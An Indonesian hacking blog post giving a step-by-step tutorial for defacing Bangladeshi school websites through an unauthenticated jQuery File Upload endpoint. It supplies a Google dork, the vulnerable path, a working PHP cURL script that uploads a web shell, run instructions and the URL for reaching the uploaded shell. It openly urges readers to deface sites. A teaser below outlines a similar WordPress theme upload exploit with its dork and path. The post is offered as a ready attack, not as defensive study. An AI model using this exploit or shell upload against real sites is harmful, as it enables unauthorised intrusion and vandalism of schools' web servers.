Skip to main content

Deface website sekolah Bangladesh


Hello World ; Pagi Fans, Please Say Hello Haters :*
xixixhi, Nuenomaru disini. uih ini thread Pertama atau artikel pembukaan di Blog ini pada bulan Mei 2016 ^_^ dari ane :* *btw ibu ane ultah gengs :v pas bet tgl muda. *yehh lov u mom <3
yokaii, lanjut bahas ini thread, kali Ini Nue bakal Share Tutorial Deface website sekolah Bangladesh, Sebenernya sih ini Tutorial sama kok sama kek Jquery File Upload
yups ini bedanya gegara dorknya aja menjuru ke website Sekolahan .bd (bangladesh).
ya kyk bug balitbang lah kalo di indo.

Bugnya ada di plugin jquery-file-upload.


yaudah langsung aja.


Dork:
Developed by exdmania
(Selebihnya kebangin lg menggunakan imajinasi vokepers kalian, biar dpt yg vuln n verawan)

2. pilih salah satu web target yg pengen ente tusb0l pak wkwk, lalu masukan exploitnya.

exploit: /assets/super_admin/vendor/jquery-file-upload/server/php/


3. Vulnerability ~ sama deh kek Jquery


udh gak verawan, bnyak bet yang gangbang :'(

4. Buat File Baru Berekstensi .php Contoh ven.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit dan taruh juga shell sobat di directory yang sama dgn ven.php tadi

<?php
$file = "shelllo.php"; //shell ataupun script deface
$post = array("files[]" => "@$file",
      );
     $ch2 = curl_init ("www.target.bd/assets/super_admin/vendor/jquery-file-upload/server/php/");
     curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
     curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
     curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
     curl_setopt ($ch2, CURLOPT_POST, 1);
     curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
     $data = curl_exec ($ch2);
     echo $data."\n\n\n";
     ?>

5. Buka Xampp kalian yang sudah terinstall, nyalakan apace sama mysql nya
6. Buka CMD dan ketikan perintah
cd C:/xampp/php
php namaexploitlo.php

7. jika sukses , akan muncul nama shell sobat di CMD,dan akan terlihat seperti di SS.


8. Shell Akses: www.target.bd/assets/super_admin/vendor/jquery-file-upload/server/php/files/

Done~ Ganteng Ganteng #SWAG akwkawk


Nah kalo dah masuk ke shell, seterah dah sobat mo apain, bedah isi ampe usus2nya kek.
kalo mau deface saya sarankan nitip file aja yak, kalo mau nebas index (JANGAN LUPA DI BACK UP DUANCOK :) ))
*Hargai karya webmaster, kalo bisa bantu report Bug ke adminnya, atau bantu patch dgn seikhlas anda*
#Ganteng2PercumaKaloGakPunyaIman :* awkkawkwa



Mudahkan x_O ?
Stay Cool and Keep ./Crotz , gaes <(")


bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak. 
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kamiTKJ CYBER ART
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')

Happy Defaced~
Sekian dan semoga bermanfaat .. terimakasih


source and thanks toindoXploit



./Nuenomaru




Hei apa kabar mu jauh disana :'D














Visit and follow :

FP         : TKJ Cyber Art
G+         TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2

Comments

Popular posts from this blog

How to install CUCM 8.0.2 on Vmware | Call Manager Installation Guide

CUCM is a software-based call-processing component which serves as the main engine for Cisco VOIP infrastructure. This article can be used as a reference for your CUCM installation, This article can be used for any version of CUCM like 8.0, 8.6, 9.1 or 10.5. Let's jump to the installation directly. Make sure you have.. Before we begin, I want to make sure that you have the below softwares installed in your machine. Vmware Workstation Bootable Cisco Unified Call Manager ISO File GNS3 (Optional) - To Configure NTP Server A minimum of 2GB RAM and 80 GB HDD for Virtual Machine At this stage I assume that you have both Vmware Workstation and GNS3 installed. During installation you will be prompted to enter NTP server details. Follow the below steps to make a router to act as a NTP server in GNS3. Open ncpa.cpl from Run window. Find a Vmware network adapter. Double click the adapter and configure a private range IP, for example 120.0.0.1. Next open GNS3, Put a router and take console. Pa...

eXploit WP Themes Brainstorm Arbitrary File Upload Vulnerability

Hello World ; Malam Fans, Please Say Hello Haters :* xixixhi, Nuenomaru disini,  Sekarang Nue akan Share   Tutorial Deface dengan eXploit WP Themes Brainstorm Arbitrary File Upload Vulnerability * ini exploit lama sih wkwkw exploit ini salah satu bug/celah yang ada pada theme di CMS WordPress. iseng2 aja share, Kali aja masih  crotz  wkwkw * yg master minggir dlu ;* Lanjut intip tutor ae gaes :* mau sampai kapan ?! Dork: inurl:/wp-content/themes/brainstorm (Selebihnya kebangin lg menggunakan imajinasi vokepers kalian, biar dpt yg vuln n verawan) 1. Dorking di search Engine 2. pilih salah satu web target yg pengen ente tusb0l pak wkwk, lalu masukan exploitnya. exploit: /[path]/ /wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php 3. Vulnerability ~ Blank Kurang lebih sih gituh awkkaw~ 4. Buat File Baru Berekstensi .php Contoh brain.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit dan t...

6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly

Salam sobat GBX nah di pertemuan kita kali ini ane akan membahas 6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly seperti yang anda tau adf.ly adalah url shortener terbaik yang membayar kita karena telah menggunakan jasannya, tapi selain adf.ly ternyata masih banyak lagi Url Shorteners Yang Menghasilkan Uang, sekarang kita lihat saja ulasan di bawah.  6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly 1. Adfly adf.ly Yup yang ini memang patut diletakkan di peringkat satu ya, Adfly sudah ada dan terpercaya sejak bertahu-tahun lalu dan sudah menjadi pemendek link / url terbaik selama ini.  Selain menyediakan fasilitas penyingkat url, adfly juga merupakan situs penghasil dollar yang sudah sangat terkenal (melalui Pay Per Click dan Referal). Banyak juga teman-teman di internet yang sudah sukses mendapatkan dollar lho. (adfly ini sudah terpercaya dan ya semoga terus aman begitu dech). Komisi yang telah anda dapatkan dari adfly ini bisa langsung di transfer ke pay...